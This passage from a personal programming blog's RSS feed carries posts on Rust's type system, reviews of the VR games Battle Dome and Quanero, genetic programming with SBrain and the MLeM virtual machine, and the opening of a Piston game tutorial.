infinitely many possible values. Go forth and apply this knowledge!&lt;/p&gt;&#xA;&lt;p&gt;To help you in actually understanding how to use the type system of Rust specifically, I suggest the excellent Rust Book&lt;sup id=&#34;fnref1:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; and Sean Griffin&amp;rsquo;s talk on the type system&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; from RustConf 2017. Traits and lifetimes are the next topics I&amp;rsquo;d look into in order to develop a better understanding of how Rust leverages the type system to make guarantees about your programs. Most of these ideas are applicable to other languages, like TypeScript, Java, and of course OCaml-like and Haskell-like languages.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The examples here will not compile on their own; I have elided &lt;code&gt;use&lt;/code&gt; statements and other such language-specific constructs to make a point. Refer to the Rust Book for information on how to actually use the types.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://doc.rust-lang.org/stable/book/&#34;&gt;The Rust Programming Language&lt;/a&gt;, 2nd Edition, by S. Klabnik and C. Nichols. 2018. O&amp;rsquo;Reilly.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref1:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=wxPehGkoNOw&#34;&gt;Type System Tips for the Real World&lt;/a&gt;, by Sean Griffin at RustConf 2017.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>BattleDome VR, a Review</title>
      <link>https://nora.codes/post/battledome-vr-a-review/</link>
      <pubDate>Fri, 16 Jun 2017 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/battledome-vr-a-review/</guid>
      <description>&lt;p&gt;I hadn&amp;rsquo;t really decided whether or not I liked &lt;em&gt;Battle Dome&lt;/em&gt; until I punched a wall with my Vive wand while trying to poke my rifle out from behind cover to distract the sniper that was killing all my teammates. Then I decided that I liked it very, very much.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Battle Dome&lt;/em&gt;, available on &lt;a href=&#34;http://store.steampowered.com/app/484870/Battle_Dome/&#34;&gt;Steam&lt;/a&gt;, is a 5v5 first person shooter that manages to combine all the best elements of second-generation teathered VR with a solid core of multiplayer shooter gameplay. It&amp;rsquo;s not a particularly innovative game in the way &lt;em&gt;Quanero&lt;/em&gt; or &lt;em&gt;Accounting&lt;/em&gt; are; its graphics are decent, but not mindblowing, and it has no story to speak of. Upon starting the game, you&amp;rsquo;re presented with a &amp;ldquo;lobby&amp;rdquo; area in which you can try out any of the vast array of weapons, from pistols to laser rifles to grenade launchers (each one of which has seperately tracked personal stats) and, when ready, join or create a game.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I hadn&amp;rsquo;t really decided whether or not I liked &lt;em&gt;Battle Dome&lt;/em&gt; until I punched a wall with my Vive wand while trying to poke my rifle out from behind cover to distract the sniper that was killing all my teammates. Then I decided that I liked it very, very much.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Battle Dome&lt;/em&gt;, available on &lt;a href=&#34;http://store.steampowered.com/app/484870/Battle_Dome/&#34;&gt;Steam&lt;/a&gt;, is a 5v5 first person shooter that manages to combine all the best elements of second-generation teathered VR with a solid core of multiplayer shooter gameplay. It&amp;rsquo;s not a particularly innovative game in the way &lt;em&gt;Quanero&lt;/em&gt; or &lt;em&gt;Accounting&lt;/em&gt; are; its graphics are decent, but not mindblowing, and it has no story to speak of. Upon starting the game, you&amp;rsquo;re presented with a &amp;ldquo;lobby&amp;rdquo; area in which you can try out any of the vast array of weapons, from pistols to laser rifles to grenade launchers (each one of which has seperately tracked personal stats) and, when ready, join or create a game.&lt;/p&gt;&#xA;&lt;p&gt;There are a number of gamemodes available, from traditional FPS deathmatch to an interesting cooperative horror mode. There is also a lot of variation between maps, even in mechanics; some allow players to alter gravity, some have jet-packs available, and many are so called &amp;ldquo;paint&amp;rdquo; maps. This is where one of the most interesting mechanics comes into play; in order to cater to both players who enjoy free movement in vr and those who get motion sick from the difference between percieved movement and inner-ear inertial measurement, the game allows both teleportation &lt;em&gt;and&lt;/em&gt; trackpad-based free movement, but on paint maps, players can only teleport to places where their teams color has been painted. This leads to some very exciting &lt;em&gt;Splatoon&lt;/em&gt;-style paint raids. In one of my recent matches, two players with a machine gun and a grenade launcher guarded me while I used dual paint guns to spray a path to the enemy base so we could destroy their core in the attack-defense mode.&lt;/p&gt;&#xA;&lt;p&gt;The huge selection of weapons in the game is one of its greatest features. Three basic types of weapons exist: bullet-firing, plasma, and laser weapons, each of which has unique advantages and disadvantages. There are large and small guns, too, from pistols and one-handed automatic weapons to assault rifles, light machine guns, and even a huge-scoped sniper rifle, and all of them are designed for VR. Every one, even the huge rocket launcher, can be weilded one-handed, but many of the larger ones have an optional two-handed mode which I&amp;rsquo;ve found increases both accuracy and immersion. There are more unique weapons, too, like the multi-use grenade launcher, which has utility grenades such as smoke, and the ricochet gun, whose multicolored rounds bounce off walls, ceiling, and floor to devastating effect. In addition, the shortsword and lance can be paired with the energy shield for that authentic space-Spartan feel.&lt;/p&gt;&#xA;&lt;p&gt;I do have a few complaints. The graphics, especially the character models, can be somewhat offputting, with low-resolution textures and weapons floating in mid-air. The teleporting movement is balanced using a cooldown timer which isn&amp;rsquo;t adjusted based on distance, so tiny adjustments freeze you in place for just as long as full-range hops. There are a lot of maps, but each has different features enabled, like paint, gravity control, and jetpacks; it would be very nice to be able to enable and disable those features at will, for maps that support them.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s not to say you shouldn&amp;rsquo;t play it, though. &lt;em&gt;Battle Dome&lt;/em&gt;, like the original &lt;em&gt;Unreal Tournament&lt;/em&gt;, is an well-built, solid game that, while not particularly innovative, combines most of the mechanics of a new medium to create a game that can be learned in a few minutes but has nearly infinite replayability. I give it an 8/10.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Quanero VR, a Review</title>
      <link>https://nora.codes/post/quanero-vr-a-review/</link>
      <pubDate>Sat, 27 May 2017 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/quanero-vr-a-review/</guid>
      <description>&lt;p&gt;&lt;em&gt;Quanero VR&lt;/em&gt;, available from “Laserboys3000” on Steam for nothing, is the best of the many VR experiences I’ve encountered so far.&lt;/p&gt;&#xA;&lt;p&gt;This isn’t because it’s particularly beautiful (it’s graphics are competent, much more so than those I’m able to create, but not on a AAA level) nor because it’s gameplay is particularly well designed (in fact, it has almost no “gameplay”). Quanero is amazing because it’s the first truly “player-motivated” VR experience I’ve seen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;em&gt;Quanero VR&lt;/em&gt;, available from “Laserboys3000” on Steam for nothing, is the best of the many VR experiences I’ve encountered so far.&lt;/p&gt;&#xA;&lt;p&gt;This isn’t because it’s particularly beautiful (it’s graphics are competent, much more so than those I’m able to create, but not on a AAA level) nor because it’s gameplay is particularly well designed (in fact, it has almost no “gameplay”). Quanero is amazing because it’s the first truly “player-motivated” VR experience I’ve seen.&lt;/p&gt;&#xA;&lt;p&gt;VR provides the ability to create almost perfectly immersive virtual worlds, and Quanero demonstrates how to use that immersion to tap into intrinsic motivations of players - in this case, mostly curiosity and a little bit of completionism. Quanero presents a tiny virtual world - just a terrace and small bar - with the hints of a large, cyberpunky, Blade Runner-esque world around it.&lt;/p&gt;&#xA;&lt;p&gt;The experience begins with a little minor explanation. You are informed that you’re a detective and that you can run time forwards and backwards, but you may only observe, not alter things. This sets the perfect stage for pure exploration, since the player’s actions can’t have any consequences. You’re then shown an array of thumbnails, blurred out, of events and interactions you haven’t yet seen. That sets up the completionism; what player could resist at least trying to fill those in?&lt;/p&gt;&#xA;&lt;p&gt;You’re dropped onto the terrace and, running the time forward with the right wand’s trigger, you see a peaceful scene rudely interrupted by a massive explosion from the outdoor grill, which leads to a dramatic rescue and a fistfight. Personally, I was very curious as to why the explosion occurred, so I teleported myself over to the grill and ran time backward, forward, backward again - and this was where the experience really got immersive for me. I saw a flash of green just before the explosion and I was hooked.&lt;/p&gt;&#xA;&lt;p&gt;Long story short (and less spoilerific), I spent about twenty minutes figuring out what the green flash was, then where it had come from, and then piecing together the whole story. The scene is maybe five minutes long, but it took me much longer to discover the true sequence of events, and the experience was utterly compelling throughout, without any extrinsic motivation. Looking at that fistfight in great detail didn’t unlock a new level or improve my combat stats - it was just interesting. That’s the true promise VR, in my opinion - it allows game designers to engage players in a much more immersive and intrinsic manner, and to drop many of the traditional gimmicks and Skinner-box tactics that motivate players in traditional games.&lt;/p&gt;&#xA;&lt;p&gt;This is not to say that VR games automatically (or necessarily) tap into these motivations, however. For instance, Raw Data from Survios Inc. is a traditional first person combat game that smoothly integrates the unique traits of VR without drastically changing the formula; the player’s motivation basically comes from the infinite cycle of beat up robots, get better at beating up robots, find more and more interesting robots to beat up, repeat. That doesn’t make it a bad game; in fact, Raw Data is one of my favorite VR experiences. It just isn’t revolutionary in the way Quanero VR is.&lt;/p&gt;&#xA;&lt;p&gt;My ultimate wishlist VR item is a longer, more intense, more complex, and more diverse version of Quanero in which the player must find clues in one part of the environment to understand events in other parts. In Quanero, this essentially only happens with the strange green flash that causes the explosion; in a larger game, there could be more such events and more levels of uncertainty. There could also be a few more people who weren’t ripped white dudes - and no, one blue alien, one skinny female pool player with no characterization, and a fat dude who dies right away don’t count.&lt;/p&gt;&#xA;&lt;p&gt;So, since this seems to have become a review, I guess I&amp;rsquo;ll give a score. Quanero gets 8/10; not perfect, but pretty damn good, especially given the price.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Thoughts on Virtual Reality</title>
      <link>https://nora.codes/post/thoughts-on-virtual-reality/</link>
      <pubDate>Fri, 26 May 2017 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/thoughts-on-virtual-reality/</guid>
      <description>&lt;p&gt;I was recently fortunate enough to be the recipient of a grant for $2000 to learn about virtual reality and develop a video game using the HTC Vive. So far, I&amp;rsquo;ve mostly been exploring prior art.&lt;/p&gt;&#xA;&lt;p&gt;There is the problem of cost; the $2000 went pretty quickly, first for a GTX 1080 to produce the graphics and then for the $800 Vive itself, along a bit of money for tripods for the position-tracking lighthouses. Then there&amp;rsquo;s the issue that making independent games for VR is difficult, mostly due to art assets needing to be fairly detailed. There&amp;rsquo;s only so much blank, untextured whiteness, so many perfectly flat surfaces, that one can stand when staring at them in virtual reality. Once these hurdles are leapt, however, the result is&amp;hellip; pretty impressive.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I was recently fortunate enough to be the recipient of a grant for $2000 to learn about virtual reality and develop a video game using the HTC Vive. So far, I&amp;rsquo;ve mostly been exploring prior art.&lt;/p&gt;&#xA;&lt;p&gt;There is the problem of cost; the $2000 went pretty quickly, first for a GTX 1080 to produce the graphics and then for the $800 Vive itself, along a bit of money for tripods for the position-tracking lighthouses. Then there&amp;rsquo;s the issue that making independent games for VR is difficult, mostly due to art assets needing to be fairly detailed. There&amp;rsquo;s only so much blank, untextured whiteness, so many perfectly flat surfaces, that one can stand when staring at them in virtual reality. Once these hurdles are leapt, however, the result is&amp;hellip; pretty impressive.&lt;/p&gt;&#xA;&lt;p&gt;I started out my VR journey in Valve&amp;rsquo;s &lt;em&gt;The Lab&lt;/em&gt;, a collection of VR experiments, all impressively animated and modelled. I started with the phyics-based games: a &lt;em&gt;Galaxians&lt;/em&gt;-like shoot-em-up in which the player&amp;rsquo;s hand position controls the ship, an archery simulation, a slingshot game. Then I went into some of the more passive experiments: a Scandinavian mountaintop, a magician&amp;rsquo;s shop, the human body. All in all, very impressive stuff.&lt;/p&gt;&#xA;&lt;p&gt;From there, I sought out some more substantial games and hit upon &lt;em&gt;Raw Data&lt;/em&gt;, the premier full-length game for the HTC Vive. It blew me away with its simplicity: you get a pistol or a sword and you beat up evil robots. Maybe most cliché video game possible, and yet the sense of actually &lt;em&gt;holding&lt;/em&gt; the sword, actually &lt;em&gt;dodging&lt;/em&gt; the enemy&amp;rsquo;s blows, made it fresh and new.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve gone through a number of ideas for VR games to make myself. I&amp;rsquo;m limited somewhat by my relative lack of 3D art knowledge, but one can always buy assets from the Unity asset store, and (as another part of the grant) I&amp;rsquo;m taking a Udemy course in 3D art, so perhaps my skills will be sufficient. In any case, it&amp;rsquo;s an interesting medium and I hope I&amp;rsquo;ll be able to produce something thought-provoking and/or enjoyable.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>SBrain, an extension of BrainF.ck</title>
      <link>https://nora.codes/post/sbrain-an-extension-of-brainfzck/</link>
      <pubDate>Tue, 02 May 2017 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/sbrain-an-extension-of-brainfzck/</guid>
      <description>&lt;p&gt;&lt;strong&gt;SBrain&lt;/strong&gt;, or &lt;em&gt;Semantic Brain&lt;/em&gt;, is a language based on Urban Müller&amp;rsquo;s famous language &lt;strong&gt;Brainf*ck&lt;/strong&gt; with only 8 symbols (3 bit instructions). SBrain&amp;rsquo;s additions increase the number of symbols to 32 (6 bit instructions), including bit-shifting and arithmetic, and add a stack and a register.&lt;/p&gt;&#xA;&lt;p&gt;Having these additional facilities allows SBrain to be far more expressive while retaining its attractiveness as a genetic medium for evolutionary algorithms. I&amp;rsquo;ve been interested in genetic programming for a long time. After my less-than-stellar results from a Python implementation of a Brainf*ck (which you can see &lt;a href=&#34;https://github.com/noracodes/evolve_bf&#34;&gt;here&lt;/a&gt;, though the code is truly awful), I decided to try a new tack. I designed SBrain over about two years and implemented an interpreter in Rust, which you can find &lt;a href=&#34;https://github.com/noracodes/sbrain&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;SBrain&lt;/strong&gt;, or &lt;em&gt;Semantic Brain&lt;/em&gt;, is a language based on Urban Müller&amp;rsquo;s famous language &lt;strong&gt;Brainf*ck&lt;/strong&gt; with only 8 symbols (3 bit instructions). SBrain&amp;rsquo;s additions increase the number of symbols to 32 (6 bit instructions), including bit-shifting and arithmetic, and add a stack and a register.&lt;/p&gt;&#xA;&lt;p&gt;Having these additional facilities allows SBrain to be far more expressive while retaining its attractiveness as a genetic medium for evolutionary algorithms. I&amp;rsquo;ve been interested in genetic programming for a long time. After my less-than-stellar results from a Python implementation of a Brainf*ck (which you can see &lt;a href=&#34;https://github.com/noracodes/evolve_bf&#34;&gt;here&lt;/a&gt;, though the code is truly awful), I decided to try a new tack. I designed SBrain over about two years and implemented an interpreter in Rust, which you can find &lt;a href=&#34;https://github.com/noracodes/sbrain&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;SBrain is a strict superset of its parent language. It does have some important differences other than its additional instructions, most notably that unbalanced jump&#xA;(&lt;code&gt;[&lt;/code&gt; and &lt;code&gt;]&lt;/code&gt;) instructions are valid. For instance, the program &lt;code&gt;.+]&lt;/code&gt; will print ascending numbers forever (as opposed to the strictly legal &lt;code&gt;[.+]&lt;/code&gt; required in BF.)&lt;/p&gt;&#xA;&lt;h2 id=&#34;evolving-computer-programs&#34;&gt;Evolving Computer Programs&lt;/h2&gt;&#xA;&lt;p&gt;Once I finished an initial implementation, I decided to try and get evolution working. I ended up with a program whose output looks a bit like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Generation     1 Cost  3075: aS|.p!.S&#xA;Generation     5 Cost  3074: aS|.^!p!.S&#xA;Generation     6 Cost  3073: aS|.^!ap!S.S&#xA;Generation     7 Cost  2052: aS|.^!ap-.S.S&#xA;Generation     9 Cost  1028: a&amp;amp;|.^!ap..S.S&#xA;Generation    11 Cost     7: a&amp;amp;|.^!ap..S..S&#xA;Generation    16 Cost     5: a&amp;amp;|.^-!ap..S..S&#xA;Generation    29 Cost     3: a&amp;amp;m|.^-!ap..+..S&#xA;Generation    34 Cost     2: a&amp;amp;&amp;amp;m|.^-!ap..+.d.S&#xA;Generation   285 Cost     1: a&amp;amp;&amp;amp;m|+.^-!p..+.d.S&#xA;Generation  1101 Cost     0: a&amp;amp;&amp;amp;m|+.^!p.+.+.d.S&#xA;Program found after 1101 tries.&#xA;a&amp;amp;&amp;amp;m|+.^!p.+.+.d.S&#xA;Ran for 128 cycles and did not halt&#xA;[] -&amp;gt; a&amp;amp;&amp;amp;m|+.^!p.+.+.d.S -&amp;gt; [1, 2, 3, 4, 5]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This particular run was looking for the output [1,2,3,4,5] given no input.&#xA;Built with &lt;code&gt;--release&lt;/code&gt;, it took about 3 seconds (2.93, to be precise). The algorithm is fully parallelized using &lt;a href=&#34;https://crates.io/crates/rayon&#34;&gt;Rayon&lt;/a&gt;&#xA;and keeps all four of my laptop&amp;rsquo;s CPU cores at around 80 to 100 percent most of the time. The program it found&#xA;is not particularly efficient (the optimal program being &lt;code&gt;+.+.+.+.+.&lt;/code&gt;), but it&amp;rsquo;s not extremely inefficient either.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-it-works&#34;&gt;How it works&lt;/h2&gt;&#xA;&lt;p&gt;The actual algorithm is pretty simple. It consists of a few basic steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate an inital, entirely random population of programs.&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;Cost&amp;rdquo; the population (that is, execute them and see how far off they are from the desired outputs)&lt;/li&gt;&#xA;&lt;li&gt;Remove the bottom 50% of programs and replace them with variants of the top program, crossed with the programs in the top 50%.&lt;/li&gt;&#xA;&lt;li&gt;Repeat until at there is a program with the cost of 0&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The program reports its state only when there is an improvement; as you can see above, improvements come thick and fast in the beginning and slow down a great deal later.&lt;/p&gt;&#xA;&lt;h3 id=&#34;generation&#34;&gt;Generation&lt;/h3&gt;&#xA;&lt;p&gt;The generation step is fairly simple. A set of valid source code symbols is hard-coded into the program, and the initally generated population is a set of purely random strings of those characters.&lt;/p&gt;&#xA;&lt;h3 id=&#34;costing&#34;&gt;Costing&lt;/h3&gt;&#xA;&lt;p&gt;Costing is the most important part of the process, but is really quite simple in this case. The program is run in the SBrain VM and provided with the correct input. Its output is then analyzed against the expected output. There are two steps of this analysis. If the lengths of the actual vs. expected outputs don&amp;rsquo;t match, the&#xA;program is heavily penalized (2 to the 10th points for each missing or extra character). Then, the characters of each input are compared and their difference&#xA;is added to the cost.&lt;/p&gt;&#xA;&lt;h3 id=&#34;mutation&#34;&gt;Mutation&lt;/h3&gt;&#xA;&lt;p&gt;Mutation actually occurs at two levels: the population level and the program level. The population is sorted by cost, then essentially cut in half. The top half,&#xA;the most successful programs, are mutated, and their mutated genomes are crossed with a mutated variation of the top program.&lt;/p&gt;&#xA;&lt;p&gt;This crossing is immensely important to the rapid generation of workable algorithms. It allows two relatively sucessful genomes to share their best features, which&#xA;further allows &amp;ldquo;breakthrough&amp;rdquo; steps in evolution. I initally implemented the algorithm without crossing, and it was incredibly slow at finding even very simple&#xA;programs.&lt;/p&gt;&#xA;&lt;p&gt;At the program level, mutation is merely a random choice between three alternative: adding a source character, changing a source character, and deleting a source character.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;This algorithm has proven to be pretty effective for trivial problems like addition and generating ranges of values. There is currently a great deal of copying present in the code, but I hope to spend some time in the next few weeks (once finals are over, that is) making a zero-copy or almost-zero-copy implementation.&lt;/p&gt;&#xA;&lt;p&gt;If you have ideas for how to make my code or algorithm more effective or faster, please oh please email me or send in a PR! The code is &lt;a href=&#34;https://github.com/noracodes/evolve-sbrain&#34;&gt;on Github&lt;/a&gt;.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>MLeM, a VM for genetic programming</title>
      <link>https://nora.codes/post/mlem-a-vm-for-genetic-programming/</link>
      <pubDate>Mon, 17 Apr 2017 04:48:50 +0000</pubDate>
      <guid>https://nora.codes/post/mlem-a-vm-for-genetic-programming/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve recently been working on a project called the Machine Learning Machine, or MLeM.&#xA;It&amp;rsquo;s a VM implemented in the Rust programming language which I hope to use as a basis for some genetic programming.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s a Harvard architecture machine, meaning that it has separate representations and memory for data and program segments. While this is not the way most modern computers work, it does model the more secure W XOR X functionality that exists in operating systems such as BSD and allows me to properly utilize the amazing type system of the Rust language to do compile time verification of a lot of the system.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve recently been working on a project called the Machine Learning Machine, or MLeM.&#xA;It&amp;rsquo;s a VM implemented in the Rust programming language which I hope to use as a basis for some genetic programming.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s a Harvard architecture machine, meaning that it has separate representations and memory for data and program segments. While this is not the way most modern computers work, it does model the more secure W XOR X functionality that exists in operating systems such as BSD and allows me to properly utilize the amazing type system of the Rust language to do compile time verification of a lot of the system.&lt;/p&gt;&#xA;&lt;p&gt;The machine has 8 general purpose registers, a “hardware” stack (that is, it has Stack Pointer and Base Pointer registers and PUSH and POP instructions), and built in I/O instructions. This makes is slightly abstracted over a real machine, but still makes any code written for it relatively easy to turn into actual machine code for real CPUs.&lt;/p&gt;&#xA;&lt;p&gt;All data is stored in 64-bit registers and memory cells. Instructions, however, are represented using Rust’s enums. I chose to go with a unified-addressing scheme. This glosses over the realities of memory access, but because all accesses are already tagged by virtue of the system itself, I can easily add performance penalties for main memory access and even a cache simulation when needed.&lt;/p&gt;&#xA;&lt;p&gt;A sample instruction looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Add(a, b)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;where a and b are of type &lt;code&gt;Address&lt;/code&gt;. So&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Add(RegAbs(R1), MemReg(R2))&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;would add the value in R1 to the value at the memory address in R2 and place the result in R1. Note also that R1 and R2 are enum variants of &lt;code&gt;Register&lt;/code&gt;; trying to&#xA;create something like&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Add(RegAbs(R1), MemReg(100))&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;would produce a compiler error.&lt;/p&gt;&#xA;&lt;p&gt;I’ve also developed an extremely simple assembly syntax for testing purposes; the above instruction would look like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;add r:r1 p:r2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;That is, add (register) r1 to (pointer) r2.&lt;/p&gt;&#xA;&lt;p&gt;The primary goal for this project is to provide a more stable and closer-to-real-CPU language than Muller’s Brainf*** or my own &lt;a href=&#34;https://github.com/noracodes/sbrain&#34;&gt;SBrain&lt;/a&gt;, both of which I’ve &lt;a href=&#34;https://github.com/noracodes/evolve_bf&#34;&gt;previously used&lt;/a&gt; for genetic programming with rather mixed results.&lt;/p&gt;&#xA;&lt;p&gt;The ability to generate instructions I know are valid helps short-circuit the process of culling unparseable genes from the population, which, while not particularly difficult, slows the process of evolution significantly.&lt;/p&gt;&#xA;&lt;p&gt;Look out for a future post to discuss my previous experiences with GP and the future of this project.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Getting started with Piston, a game library for Rust</title>
      <link>https://nora.codes/tutorial/piston-a-game-library-in-rust/</link>
      <pubDate>Tue, 14 Mar 2017 04:48:50 +0000</pubDate>
      <guid>https://nora.codes/tutorial/piston-a-game-library-in-rust/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Author&amp;rsquo;s note: Piston has moved on since March of 2017. This tutorial, for &lt;code&gt;0.64&lt;/code&gt;, is&#xA;preserved for posterity; I suggest you look instead at&#xA;&lt;a href=&#34;https://github.com/PistonDevelopers/Piston-Tutorials/tree/master/getting-started&#34;&gt;the official getting started guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been interested in game programming for a while, and I periodically sample the Rust ecosystem&amp;rsquo;s offerings around game programming. Piston seems like the most promising candidate, but the tutorials are out of date, so here&amp;rsquo;s a simple one.&lt;/p&gt;&#xA;&lt;p&gt;This tutorial will show you how to build a simple windowed application with a time-locked update rate and keyboard controls. You can extend it with image loading, music, and many other features of the Piston library.&lt;/p&gt;</description>
      <content:encoded>&lt;blockquote&gt;&#xA;&lt;p&gt;Author&amp;rsquo;s note: Piston has moved on since March of 2017. This tutorial, for &lt;code&gt;0.64&lt;/code&gt;, is&#xA;preserved for posterity; I suggest you look instead at&#xA;&lt;a href=&#34;https://github.com/PistonDevelopers/Piston-Tutorials/tree/master/getting-started&#34;&gt;the official getting started guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been interested in game programming for a while, and I periodically sample the Rust ecosystem&amp;rsquo;s offerings around game programming. Piston seems like the most promising candidate, but the tutorials are out of date, so here&amp;rsquo;s a simple one.&lt;/p&gt;&#xA;&lt;p&gt;This tutorial will show you how to build a simple windowed application with a time-locked update rate and keyboard controls. You can extend it with image loading, music, and many other features of the Piston library.&lt;/p&gt;&#xA;&lt;p&gt;Note: This tutorial assumes that you have a recent version of Rust &lt;a href=&#34;https://doc.rust-lang.org/stable/book/getting-started.html#installing-rust-1&#34;&gt;installed&lt;/a&gt;, that you know how to &lt;a href=&#34;https://doc.rust-lang.org/stable/book/getting-started.html#hello-world&#34;&gt;build hello world&lt;/a&gt; in Rust, and that you know about creating projects and installing packages with &lt;a href=&#34;https://doc.rust-lang.org/stable/book/getting-started.html#hello-cargo&#34;&gt;Cargo&lt;/a&gt;, Rust&amp;rsquo;s package manager.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;img src=&#34;./images/piston_example-300x240.webp&#34; alt=&#34;&#34;&gt;We&amp;rsquo;re going to create a simple windowed application that draws a square of color which bounces around. This will exercise the basic 2D abilities of Piston and set you up for future projects.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;To get started, just &lt;code&gt;cargo new --bin&lt;/code&gt; with whatever name you like. Our &lt;code&gt;Cargo.toml&lt;/code&gt; only needs one dependency: &lt;code&gt;piston_window = &amp;quot;0.64.0&amp;quot;&lt;/code&gt;. All of our code will go in &lt;code&gt;src/main.rs&lt;/code&gt;. Go ahead and delete the existing &lt;code&gt;main&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-prototype&#34;&gt;A Prototype&lt;/h2&gt;&#xA;&lt;p&gt;First, we have to make some simple physics. We&amp;rsquo;ll need only one simple data structure, a &lt;code&gt;ColoredRectangle&lt;/code&gt;, which will store three fields: position/size, color, and velocity.&lt;/p&gt;&#xA;&lt;p&gt;Piston needs to know the position/size (an array of &lt;code&gt;f64&lt;/code&gt; values &lt;code&gt;[x_position, y_position, x_size, y_size]&lt;/code&gt;) and the color (&lt;code&gt;f32&lt;/code&gt; values &lt;code&gt;[r, g, b, alpha&lt;/code&gt;]), but only the rectangle itself needs to know about its velocity, so the fields look like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;color: [&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span 